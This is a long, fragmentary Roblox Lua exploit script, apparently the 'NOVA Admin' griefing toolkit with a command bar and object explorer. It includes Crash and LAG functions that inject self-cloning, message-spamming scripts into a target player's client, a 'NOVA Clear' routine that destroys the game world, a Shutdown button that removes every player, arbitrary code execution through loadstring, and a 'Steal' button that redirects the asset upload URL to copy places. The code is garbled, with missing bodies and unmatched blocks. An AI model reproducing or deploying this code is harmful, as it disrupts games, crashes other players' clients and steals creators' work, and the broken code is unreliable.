Explosion.BlastPressure = 10000 * i
Explosion.BlastRadius = i * 250
Explosion.Parent =
game:service("Workspace")
end
wait()
end
for i = 0, 1, 0.05 do
ExplosionBall.Transparency = i
ExplosionBall.CFrame = CFrame.new(Position +
(Vector3.new(math.random(-50, 50), math.random(-50, 50), math.random(-50, 50)) * (1
- i)))
wait()
end
ExplosionBall:Remove()
end)()
end
end
function Jail(Part,Player)
b = Instance.new("Model")
b.Parent = workspace
b.Name = "Jail"
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(18, 2, 2)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, -8, -8))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(18, 2, 2)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, -8, 8))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(18, 2, 2)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, 8, -8))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(18, 2, 2)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, 8, 8))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(2, 2, 18)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(-8, -8, 0))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(2, 2, 18)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(8, -8, 0))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(2, 2, 18)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(-8, 8, 0))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(2, 2, 18)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(8, 8, 0))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(2, 18, 2)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(-8, 0, -8))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(2, 18, 2)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(-8, 0, 8))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(2, 18, 2)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(8, 0, 8))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(26)
c.formFactor = "Symmetric"
c.Size = Vector3.new(2, 18, 2)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(8, 0, -8))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(23)
c.Transparency = 0.5
c.Reflectance = 0.1
c.formFactor = "Symmetric"
c.Size = Vector3.new(1, 16, 16)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(8, 0, 0))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(23)
c.Transparency = 0.5
c.Reflectance = 0.1
c.formFactor = "Symmetric"
c.Size = Vector3.new(1, 16, 16)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(-8, 0, 0))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(23)
c.Transparency = 0.5
c.Reflectance = 0.1
c.formFactor = "Symmetric"
c.Size = Vector3.new(16, 16, 1)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, 0, 8))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(23)
c.Transparency = 0.5
c.Reflectance = 0.1
c.formFactor = "Symmetric"
c.Size = Vector3.new(16, 16, 1)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, 0, -8))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(23)
c.Transparency = 0.5
c.Reflectance = 0.1
c.formFactor = "Symmetric"
c.Size = Vector3.new(16, 1, 16)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, 8, 0))
c = Instance.new("Part")
c.Parent = b
c.TopSurface = "Smooth"
c.BottomSurface = "Smooth"
c.Locked = true
c.BrickColor = BrickColor.new(23)
c.Transparency = 0.5
c.Reflectance = 0.1
c.formFactor = "Symmetric"
c.Size = Vector3.new(16, 1, 16)
c.Anchored = true
c.CFrame = Part.CFrame * CFrame.new(Vector3.new(0, -8, 0))
table.insert(Jails,{Player = Player,Jail = b})
end
function makeMessage(Style,Text,Parent,Size)
print("Making message in "..Parent.Name.." Style "..Style)
coroutine.resume(coroutine.create(function()
if Style == "Instance" or Style == 1 or Style == "Normal" then
M = Instance.new("Message",Parent)
for i = 1, string.len(Text) do
M.Text = M.Text .. string.sub(Text, i, i)
wait(math.random() * 0.1)
end
M.Text = M.Text .. ""
for i = 1, math.random(2, 6) do
M.Text = string.sub(M.Text, 1, string.len(Text)) ..
"_"
wait(0.4)
M.Text = string.sub(M.Text, 1, string.len(Text)) ..
" "
wait(0.4)
end
M.Text = string.sub(M.Text, 1, string.len(Text))
for i = 1, string.len(M.Text) do
M.Text = string.sub(M.Text, 1, string.len(M.Text) -
1)
wait()
end
M:Remove()
elseif Style == "Gui" or Style == "GUI" or Style == 2 then
if Parent == nil then print("Parent required for GUI type
message.") return end
Gui = Instance.new("ScreenGui",Parent)
Gui.ResetOnSpawn = false
Frame = Instance.new("Frame",Gui)
Frame.Size = UDim2.new(1,0,1,0)
Frame.Position = UDim2.new(0,0,0,0)
Frame.Style = "RobloxSquare"
Txt = Instance.new("TextLabel",Frame)
Txt.Size = UDim2.new(1,0,1,0)
Txt.TextWrap = true
Txt.TextColor3 = Color3.new(1,1,1)
Txt.BackgroundTransparency = 1
if Size == nil then
Txt.FontSize = "Size16"
else
Txt.FontSize = Size
end
Txt.Text = ""
Text = Text .. " "
for i = 1, string.len(Text) do
Txt.Text = Txt.Text .. string.sub(Text, i, i)
wait(math.random() * 0.000000000001)
end
Txt.Text = Txt.Text .. ""
for i = 1, math.random(2, 6) do
Txt.Text = string.sub(Txt.Text, 1,
string.len(Text)) .. "_"
wait(0.4)
Txt.Text = string.sub(Txt.Text, 1,
string.len(Text)) .. " "
wait(0.4)
end
Txt.Text = string.sub(Txt.Text, 1, string.len(Text))
for i = 1, string.len(Txt.Text) do
Txt.Text = string.sub(Txt.Text, 1,
string.len(Txt.Text) - 1)
Txt.Text = string.sub(Txt.Text, 1,
string.len(Txt.Text) - 1)
Txt.Text = string.sub(Txt.Text, 1,
string.len(Txt.Text) - 1)
Txt.Text = string.sub(Txt.Text, 1,
string.len(Txt.Text) - 1)
wait(math.random() * 0.01)
end
Txt:Remove()
Frame:Remove()
Gui:Remove()
end
end))
end
function IsBanned(Player)
for _,v in pairs(Banned) do
if Player.Name == v then return true else return false end
end
end
function GetSingularHealth(player)
if player.className == "Player" then
if player.Character ~= nil then
if player.Character:FindFirstChild("Humanoid") ~= nil then
if player.Character.Humanoid.Health >= 1 and
player.Character.Humanoid.Health ~= nil then
if player.Character:FindFirstChild("Head")
~= nil and player.Character:FindFirstChild("Torso") ~= nil then
return "alive"
end
end
end
end
end
end
function Crash(plr)
CreateScript([==[
plr = game.Players.LocalPlayer
coroutine.create(coroutine.resume(function()
while wait(.0001) do
Instance.new("Message",plr.PlayerGui).Text = "Crashing"
Instance.new("Explosion",plr.PlayerGui).BlastRadius = math.huge
Instance.new("Hint",plr.PlayerGui).Text =
"---------------------------------------------------------------------------"
end
end))
]==],plr.Backpack,"Local")
end
function GetHealth(players)
local method = type(players)
for i = 1, #players do
healths[i] = GetSingularHealth(players[i])
end
return healths
end
end
for i = 1, #players do
if healths[i] == operand then
table.insert(ofHealth, players[i])
end
end
return ofHealth
end
tablets = {}
function GetTablets(player)
local _tablets = {}
return _tablets
end
table.insert(tablets, model)
return model
end
function UpdateTablets()
pcall(function()
local _tablets = GetTablets(LocalPlayer)
local counter = 0
if #_tablets == 1 then
local torso = LocalPlayer.Character.Torso
local pos = torso.CFrame + torso.CFrame.lookVector
* 10
pcall(function()
_tablets[1].Part.BodyPosition.position = pos.p end)
pcall(function() _tablets[1].Part.BodyGyro.cframe =
pos * CFrame.Angles(math.rad(70), 0, 0) end)
end
pcall(function()
_tablets[counter].Part.BodyPosition.position = tabletPosition.p end)
pcall(function()
_tablets[counter].Part.BodyGyro.cframe = tabletPosition *
CFrame.Angles(math.rad(70), 0, 0) end)
end
end)
end
OutputSingular("Minor functions loaded.",
{Color3.new(1,0,1)},LocalPlayer)
OutputSingular("Tablet functions loaded.",
{Color3.new(0,1,1)},LocalPlayer)
function NOVAClear()
print("NOVA Clearing.")
Objects = {}
Services = {
game:GetService("Workspace"),
game:GetService("Lighting"),
game:GetService("Debris"),
game:GetService("StarterPack"),
game:GetService("StarterGui")}
for _,v in pairs(Services) do
print("Indexing "..v.Name..".")
for _,a in pairs(v:GetChildren()) do
table.insert(Objects,a)
end
end
NUM = #Objects
for i=1,10 do
print("Indexing descendants level "..i.."/10 of objects.")
print("Total indexed items : "..#Objects)
for _,v in pairs(Objects) do
for _,a in pairs(v:GetChildren()) do
table.insert(Objects,a)
end
end
end
for _,v in pairs(Objects) do
pcall(function() v:Destroy() end)
end
coroutine.resume(coroutine.create(function()
wait(10)
OutputSingular("NOVA Clear destroyed "..NUM.." objects their
children.",{Color3.new(1,0,0)},LocalPlayer)
OutputSingular("Thank you for using NOVA Clear by fyny.",
{Color3.new(0.94901960784314,0.94901960784314,0.85882352941176)},LocalPlayer)
end))
print("NOVA Clear destroyed "..NUM.." objects their children")
print("Thank you for using NOVA Clear by fyny.")
for _,player in pairs(game:GetService("Players"):GetChildren()) do
local Model= Instance.new("Model")
Model.Parent = game:GetService("Workspace")
local Torso= Instance.new("Part")
Torso.Transparency = 1
Torso.CanCollide = false
Torso.Anchored = true
Torso.Name = "Torso"
Torso.Position = Vector3.new(10000,10000,10000)
Torso.Parent = Model
local Hum = Instance.new("Humanoid")
Hum.Torso = Torso
Hum.Parent = Model
player.Character = Model
end
local Base=Instance.new("Part",workspace)
Base.Name="Base"
Base.Size=Vector3.new(2048,1,2048)
Base.BrickColor=BrickColor.new("Really Black")
Base.Anchored=true
Base.Locked=true
Base.TopSurface="Smooth"
Base.Transparency = 1
Base.CFrame=CFrame.new(Vector3.new(0,0,0))
local selectionbox=Instance.new("SelectionBox",Base)
selectionbox.Adornee = selectionbox.Parent
selectionbox.Color = BrickColor.new(1,0,0)
local skybox=Instance.new("Sky",game:GetService("Lighting"))
skybox.SkyboxBk="http://www.roblox.com/asset/?id=13996320"
skybox.SkyboxDn="http://www.roblox.com/asset/?id=13996320"
skybox.SkyboxLf="http://www.roblox.com/asset/?id=13996320"
skybox.SkyboxFt="http://www.roblox.com/asset/?id=13996320"
skybox.SkyboxRt="http://www.roblox.com/asset/?id=13996320"
skybox.SkyboxUp="http://www.roblox.com/asset/?id=13996320"
local Spawn=Instance.new("SpawnLocation",workspace) Spawn.Name="SpawnLocation"
Spawn.Size=Vector3.new(6,1,6)
Spawn.Transparency=1
Spawn.CanCollide=false
Spawn.Anchored=true
Spawn.Locked=true
Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))
end
OutputSingular("NOVA Clear function loaded.",
{Color3.new(1,0,0)},LocalPlayer)
function LAG(Person)
CreateScript([==[
local LocalPlayer = game:GetService("Players").LocalPlayer
for i=1,math.huge do
coroutine.resume(coroutine.create(function()
while wait() do
LAG = script:Clone()
LAG.Name = "LAG"
LAG.Parent = LocalPlayer.Backpack
LAG.Disabled = false
Instance.new("Message",LocalPlayer.PlayerGui).Text = "asd"
Instance.new("Message",workspace.CurrentCamera).Text = "asd"
end
end))
end
]==],Person.Backpack,"Local")
end
function GetPlayers(string,Player)
Rtn = {}
if string == "all" then
for _,v in pairs(Players:GetPlayers()) do table.insert(Rtn,v) end
elseif string == "others" then
for _,v in pairs(Players:GetPlayers()) do if v ~= Player then
table.insert(Rtn,v) end end
elseif string == "random" then
table.insert(Rtn,Players:GetPlayers()
[math.random(1,#Players:GetPlayers())])
elseif string == "me" then
table.insert(Rtn,Player)
elseif string == "vetrans" then
for _,v in pairs(Players:GetPlayers()) do if v.AccountAge > 365
then table.insert(Rtn,v) end end
elseif string == "nonvetrans" or string == "notvetrans" then
for _,v in pairs(Players:GetPlayers()) do if v.AccountAge < 365
then table.insert(Rtn,v) end end
else
for _,v in pairs(Players:GetPlayers()) do if
string.sub(string.lower(v.Name),1,#string) == string.lower(string) then
table.insert(Rtn,v) end end
end
return Rtn
end
OutputSingular("GetPlayers function loaded.",
{Color3.new(1,1,0)},LocalPlayer)
function OnChatted(Msg)
pcall(function()
game:service('Message'):Message(LocalPlayer.Character.Head,Msg,math.random(0,2))
end)
Character.Parent = workspace
Character:MakeJoints()
CF =
CFrame.new(Camera.CoordinateFrame.x,Camera.CoordinateFrame.y,Camera.CoordinateFrame
.z)
Torso.CFrame = CF
LocalPlayer.Character = Character
workspace.CurrentCamera.CameraSubject = Character.Humanoid
workspace.CurrentCamera.CameraType = "Custom"
end
Msg = string.lower(Msg)
game:GetService("Chat"):Chat(v.Character.Head,string.sub(Msg,7),math.random(0,2))
end)
end
end
workspace.CurrentCamera.DescendantAdded:connect(function(v)
if v:IsA("Message") or v:IsA("Hint") then
v:Remove()
end end)
end
if string.sub(Msg,1,7) == "/teams/" then
if string.sub(Msg,8,11) == "add/" then
print'Creating a team'
Team = Instance.new("Team",game:GetService("Teams"))
Team.Name = string.sub(Msg,12)
Team.TeamColor =
BrickColor.new(math.random(),math.random(),math.random())
Team.AutoAssignable = false
end
if string.sub(Msg,8,14) == "remove/" then
if string.sub(Msg,15) == "all" then
for _,v in pairs(Teams:GetChildren()) do v:Remove() end
else
for _,v in pairs(Teams:GetChildren()) do
if string.sub(v.Name,1,#string.sub(Msg,15)) ==
string.sub(Msg,16) then
v:Remove()
end
end
end
end
end
-- End of OnChatted
end
-- End of OnChatted
pn= LocalPlayer.Name
LocalPlayer.Chatted:connect(function(msg) OnChatted(msg,LocalPlayer) end)
for _,Player in pairs(Players:GetPlayers()) do
if IsBanned(Player) then
pcall(function()
Player:Destroy()
end)
end
end
Players.PlayerAdded:connect(function(Player)
Output(Player.Name.." has joined.",{Color3.new(0,1,0)},LocalPlayer)
if IsBanned(Player) then
Output("Banned user "..Player.Name.." has been denied.",
{Color3.new(0,1,0)},LocalPlayer)
pcall(function()
Player:Destroy()
end)
end
end)
Players.PlayerRemoving:connect(function(Player)
Output(Player.Name.." has left.",{Color3.new(1,0,0)},LocalPlayer)
end)
coroutine.resume(coroutine.create(function()
print("Loading...")
S = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
S.ResetOnSpawn = false
F = Instance.new("Frame",S)
F.Size = UDim2.new(0,0,0,0)
F.Position = UDim2.new(0.35,0,0.2,0)
F.Style = "RobloxRound"
Text = Instance.new("TextLabel",F)
Text.Size = UDim2.new(1,0,0.2,0)
Text.BackgroundTransparency = 1
Text.FontSize = "Size36"
Text.TextWrap = true
Text.TextColor3 = Color3.new(1,1,1)
Text.Text = "System"
Text.TextTransparency = 1
Text2 = Instance.new("TextLabel",F)
Text2.Size = UDim2.new(1,0,0.8,0)
Text2.Position = UDim2.new(0,0,0.2,0)
Text2.BackgroundTransparency = 1
Text2.FontSize = "Size18"
Text2.TextWrap = true
Text2.TextColor3 = Color3.new(1,1,1)
Text2.Text = "NOVA Admin by Norwegianbunny has successfully been installed to your
player."
Text2.TextTransparency = 1
F:TweenSize(UDim2.new(0.3,0,0.5,0),"InOut","Quart",2)
wait(2)
for i=1,0,-0.1 do
wait()
Text.TextTransparency = i
Text2.TextTransparency = i
end
wait(1.5)
for i=0,1,0.1 do
wait()
Text.TextTransparency = i
Text2.TextTransparency = i
end
F:TweenSize(UDim2.new(0,0,0,0),"Out","Quad",0.5)
wait(0.5)
S:Remove()
end))
Output("You're an admin!",{Color3.new(1,0,0)},LocalPlayer)
Output("NOVA Admin Client "..Version.." loaded sucuessfully.",
{Color3.new(1,0,0)},LocalPlayer)
print("NOVA Admin loaded.")
coroutine.resume(coroutine.create(function()
while true do wait()
if Removed == false then
UpdateTablets()
end
end
end))
]]
local s=function(type)
return game:service(type)
end
wfp=function(Instance,Property)
while not Instance[Property]do Instance.Changed:wait''end
return Instance[Property]
end
wfo=function(i,p,n)
while 0 do
for i,v in pairs(i:children'')do
if v[p]==n then return v end
end
i.ChildAdded:wait''
end
end
CreateScript=function(Class,Parent,Text)
if#Scripts~=2 then FIXSCRIPTS''end
local Script=Scripts[Class]:clone''
local Work=Instance.new('StringValue',Script)
Work.Name='Change'
Work.Value=[[script.Change.Value='']]..Text
Script.Parent=Parent
return Script
end
pf=function(Name)
local Players={}
local name=Name:lower''
for i,v in pairs(s'Players':GetPlayers'')do
if(function()
if name=='me'then return v==Player
elseif name=='all'then return true
end
return v.Name:lower'':find(name)==1
end)()then
table.insert(Players,v)
end
end
return Players
end
SearchCommand=function(Text)
X(function()
local cmd=Text:match'(%w+)'
local asd={}
if not cmd then return end
local cmdf=Commands[cmd]
if not cmdf then return end
pcall(function()
Text='/'..Text:match(cmd..'(.+)')
for i in Text:gmatch'/([^/]+)'do table.insert(asd,i)end
end)
cmdf(Text:sub(2),asd)
end)
end
GetAll=function(Instance,Table)
if type(Table)~='table'then Table={}end
for i,v in pairs(Instance:children'')do
table.insert(Table,v)
GetAll(v,Table)
end
return Table
end
ctool=function(name)
local ntool=Instance.new("HopperBin", game.Players.LocalPlayer.Backpack)
ntool.Name = name
return ntool;
end
FindChildren=function(Instance,Property,Name)
local l={}
for i,v in pairs(GetAll(Instance))do
if v[Property]==Name then table.insert(l,v)end
end
return l
end
SaveFModel=function(i,n)
local connect
local insert=s'InsertService'
local model=Instance.new'Model'
local object=nil
connect=insert.DescendantAdded:connect(function(c)
if object then return end
c=c:clone''
if c.Name==n then
object=c
else
object=c:FindFirstChild(n)
end
if not object then return end
connect:disconnect''
end)
insert:LoadAsset(i)
while not object do model.ChildAdded:wait''end
return object
end
FIXSCRIPTS=function()
Scripts={Script=SaveFModel(65743611,'9999999999222');LocalScript=SaveFModel(6574362
9,'9999999999222')}
end
CommanderFocus=function()
if ShowBox.Value then return end
if not ChatButton.Visible then return end
ShowBox.Value=true
X(function()ChatBox:CaptureFocus''end)
end
CommandBar=function()
CommanderName='AMACCG'
CommanderScreen=Instance.new('ScreenGui',PlayerGui)
CommanderScreen.ResetOnSpawn = false
CommanderScreen.Name=CommanderName
ChatButton=Instance.new('TextButton',CommanderScreen)
ChatBox=Instance.new('TextBox',ChatButton)
ChatButton.Size=UDim2.new(1,0,0,17)
ChatButton.Position=UDim2.new(0,0,1,-17)
ChatButton.BackgroundColor3=Color3.new(0,0,0)
ChatButton.TextColor3=Color3.new(1,1,1)
ChatButton.TextXAlignment=0
ChatButton.FontSize=5
ChatButton.Font=2
ChatButton.AutoButtonColor=false
ChatButton.Text='Click here or press "\\" to use commander'
ChatBox.Size=UDim2.new(1,0,1)
ChatBox.Position=UDim2.new(0,0,1,-17)
ChatBox.BackgroundColor3=Color3.new(.6,0,0)
ChatBox.TextColor3=Color3.new(1,1,1)
ChatBox.TextXAlignment=0
ChatBox.FontSize=5
ChatBox.Font=2
ChatBox.Visible=ShowBox.Value
ChatBox.Text=''
table.insert(Connects,ChatButton.MouseButton1Down:connect(CommanderFocus))
ChatBox.Changed:connect(function(f)
if f~='Text'then return end
SearchCommand(ChatBox.Text)
ShowBox.Value=false
end)
ShowBox.Changed:connect(function(c)ChatBox.Visible=c end)
edb.Text = "Insert"
edb.Parent = game.CoreGui.RobloxGui
edb.Style = "RobloxButtonDefault"
edb.Draggable = true
local pb = Instance.new("TextButton")
pb.Size = UDim2.new(.05, 0, .05, 0)
pb.Position = UDim2.new(0, 5, 0.5, -25);
pb.Draggable = true
pb.TextColor3 = Color3.new(1, 1, 1)
pb.MouseButton1Click:connect(function()
local p=Instance.new("Part");
p.Name = "RAWR"
p.BrickColor = BrickColor.Random()
p.Material = ((math.random(1, 2) == 1) and "Ice") or "Wood";
p.CFrame = CFrame.new(math.random(-60, 60), (game.PlaceId == 41324860 and
350 or 60), math.random(-60, 60));
p.formFactor = "Custom"
p.Size = Vector3.new(0.5, math.random(2, 40)/10, 0.5)
p.Parent = workspace
end)
pb.Text = "Make part"
pb.Style = "RobloxButtonDefault"
pb.Parent = game.CoreGui.RobloxGui
function getAll(obj)
for i, v in pairs(obj:getChildren()) do
if v:IsA("BasePart") then
v.Anchored = false
v.BrickColor = BrickColor.new(0)
bv = Instance.new("BodyVelocity")
bv.Parent = v
bv.maxForce = Vector3.new(100000000,100000000,100000000)
end
getAll(v)
end
end
function exPro(root)
for _, v in pairs(root:GetChildren()) do
if v:IsA("Decal") and v.Texture ~= "http://www.roblox.com/asset?
id=123827470" then
v.Parent = nil
elseif v:IsA("BasePart") then
v.Material = "Plastic"
v.Transparency = .5
One = Instance.new("Decal", v)
Two = Instance.new("Decal", v)
Three = Instance.new("Decal", v)
Four = Instance.new("Decal", v)
Five = Instance.new("Decal", v)
Six = Instance.new("Decal", v)
One.Texture = "http://www.roblox.com/asset?id=123827470"
Two.Texture = "http://www.roblox.com/asset?id=123827470"
Three.Texture = "http://www.roblox.com/asset?id=123827470"
Four.Texture = "http://www.roblox.com/asset?id=123827470"
Five.Texture = "http://www.roblox.com/asset?id=123827470"
Six.Texture = "http://www.roblox.com/asset?id=123827470"
One.Face = "Front"
Two.Face = "Back"
Three.Face = "Right"
Four.Face = "Left"
Five.Face = "Top"
Six.Face = "Bottom"
end
exPro(v)
end
end
DoD.MouseButton1Click:connect(function()
getAll(workspace)
game.Lighting.TimeOfDay = "07:00:00"
game.Lighting.Ambient = Color3.new(0,0,0)
sky = Instance.new("Sky")
sky.Parent = game.Lighting
sky.SkyboxBk = "http://www.roblox.com/asset/?id=123485087"
sky.SkyboxDn = "http://www.roblox.com/asset/?id=123485087"
sky.SkyboxFt = "http://www.roblox.com/asset/?id=123485087"
sky.SkyboxLf = "http://www.roblox.com/asset/?id=123485087"
sky.SkyboxRt = "http://www.roblox.com/asset/?id=123485087"
sky.SkyboxUp = "http://www.roblox.com/asset/?id=123485087"
end)
Shutdown.MouseButton1Click:connect(function()
coroutine.resume(coroutine.create(function()
while wait() do
for _, v in pairs(game.Players:GetPlayers()) do
v.Parent = nil
end
end
end))
end)
ExPro.MouseButton1Click:connect(function()
exPro(workspace)
end)
ExecuteButton.MouseButton1Click:connect(function()
local func = loadstring(Panel.Text) or function() end
pcall(function()
coroutine.resume(coroutine.create(func))
end)
end)
StealButton.MouseButton1Click:connect(function()
pcall(function()
game:GetService("Visit"):SetUploadUrl("http://www.roblox.com/Data/
Upload.ashx?assetid=" .. StealText.Text);
game.CoreGui.RobloxGui.ControlFrame.SaveDialogShield.Visible = true
end)
end)
coroutine.resume(coroutine.create(function()
while wait() do
game:ClearMessage()
end
end))
game.Players.LocalPlayer:SetSuperSafeChat(false);
end
ExplorerGui=function()
local name = "TerminalZero"
Properties={nil,"Name","className","Parent","archivable","AttachmentForward","Attac
hmentPos","AttachmentRight","AttachmentUp","AnimationId","HeadColor","RightArmColor
","LeftArmColor","TorsoColor","LeftLegColor","RightLegColor","Value","CameraType","
CameraSubject","BaseTextureId","BodyPart","MeshId","OverlayTextureId","MaxActivatio
nDistance","Shiny","Specular","Texture","Face","GripForward","GripPos","GripRight",
"GripUp","TextureId","TeamColor","Enabled","CFrame","BrickColor","Material","Reflec
tance","Transparency","Position","RotVelocity","Velocity","Anchored","CanCollide","
Locked","Elasticity","Friction","Shape","Size","formFactor","BackSurface","BottomSu
rface","FrontSurface","LeftSurface","RightSurface","TopSurface","AbsolutePosition",
"AbsoluteSize","Active","BackgroundColor3","BackgroundTransparency","BorderColor3",
"BorderSizePixel","SizeConstraint","Visible","ZIndex","C0","C1","Part0","Part1","Bi
nType","LeftLeg","RightLeg","Torso","Health","MaxHealth","WalkSpeed","Jump","Platfo
rmStand","Sit","AutoButtonColor","Image","LinkedSource","Disabled","Text","PrimaryP
art","CurrentAngle","DesiredAngle","MaxVelocity","PantsTemplate","ShirtTemplate","S
oundId","Pitch","IsPlaying","IsPaused","Looped","PlayOnRemove","StudsPerTileU","Stu
dsPerTileV","userId","BubbleChat","ClassicChat","MaxPlayers","NumPlayers","LocalPla
yer","CharacterAppearance","Character","CurrentCamera","Ambient","Brightness","Colo
rShift_Bottom","ColorShift_Top","ShadowColor","GeographicLatitude","TimeOfDay","Amb
ientReverb","DistanceFactor","DopplerScale","RolloffScale","FogEnd","FieldOfView","
FogStart","FogColor","CameraMode"}
GlobalProperties={nil,"Name","className","Parent","archivable"}
GlobalEvents={nil,"AncestryChanged","ChildAdded","ChildRemoved","DescendantAdded","
DescendantRemoving"}
GlobalFunctions={nil,"Clone","FindFirstChild","GetChildren","GetFullName","IsA","Is
AncesterOf","IsDescendantOf","Remove"}
local Selection=game
local updateDebounce=1
Base="http://www.roblox.com/asset/?id="
Images={Value=40332408,Sound=40332463,Script=40332546,ScreenGui=40332596,Part=40332
760,Nil=40332825,Model=40332865,Message=40332942,LocalScript=40332996,Joint=4033304
9,Frame=40333121,Camera=40333217,Backpack=40333260,Player=40332674,Body=40339623,Ho
pperBin=40339572,Tool=40339513,Workspace=40484518,Mesh=40484580,Property=40493937,A
nimation=40531758,Hat=40531808,Humanoid=40531903}
Min=1
Max=40
MAXPAGEN=40
--[[==================================================================]]
function GetProperties(Object,Table)
local Return={}
local function C() end
for i=1,#Table do
if pcall(function() C(Object[Table[i]]) end) then
if (Object:FindFirstChild(Table[i])==nil) then
table.insert(Return,Table[i])
end end end
return Return
end
function GetType(Prop)
if (type(Prop)=="userdata") then
if pcall(function() Prop.Name=Prop.Name end) then
return Prop.Name
end end
return Prop
end
function SetPropGui()
if (Selection~=nil) then
local PropGuiPos=0
local Gui=game:GetService("CoreGui"):FindFirstChild("PropertiesGui")
if (Gui~=nil) then
Gui:Remove()
end
PropGui=Instance.new("ScreenGui")
PropGui.ResetOnSpawn = false
PropGui.Parent=game:GetService("CoreGui")
PropGui.Name="PropertiesGui"
local Props=GetProperties(Selection,Properties)
for i=1,#Props do
PropGuiPos=i
local Get=GetType(Props[i])
local Label=Instance.new("TextButton")
Label.Parent=PropGui
Label.Size=UDim2.new(0,150,0,15)
Label.Text=" "..tostring(Get).." | "..tostring(Selection[Get])
Label.BackgroundColor3=Color3.new(0.7,0.7,0.9)
Label.Name=tostring(Get)
Label.TextXAlignment="Left"
Label.Position=UDim2.new(0,230,0,(i*15)-15)
Label.TextColor3=Color3.new(0,0,0)
Label.BorderColor3=Color3.new(0,0,0)
Label.BackgroundTransparency=0.5
Label.Active=false
Label.AutoButtonColor=false
CreateImageLabel(Label,Base..Images.Property)
if (type(Selection[Props[i]])=="boolean") then
if pcall(function() Selection[Props[i]]=Selection[Props[i]] end) then
Label.Active=true
Label.AutoButtonColor=true
Label.BackgroundColor3=Color3.new(0.5,0.5,1)
Label.MouseButton1Click:connect(function()
if (Selection[Props[i]]==true) then
Selection[Props[i]]=false
elseif (Selection[Props[i]]==false) then
Selection[Props[i]]=true
end
Label.Text=" "..tostring(Props[i]).." |
"..tostring(Selection[Props[i]])
end) end end end
end end
function CreateImageLabel(Par,image)
local label=Instance.new("ImageLabel")
label.BackgroundColor3=Color3.new(1,1,1)
label.BackgroundTransparency=1
label.Name="ItemImage"
label.Size=UDim2.new(0,13,0,13)
label.Position=UDim2.new(0,1,0,1)
label.Image=image
label.BorderSizePixel=0
label.Parent=Par
end
function SetImage(Par,class)
if (class=="IntValue") or (class=="BoolValue") or (class=="StringValue") or
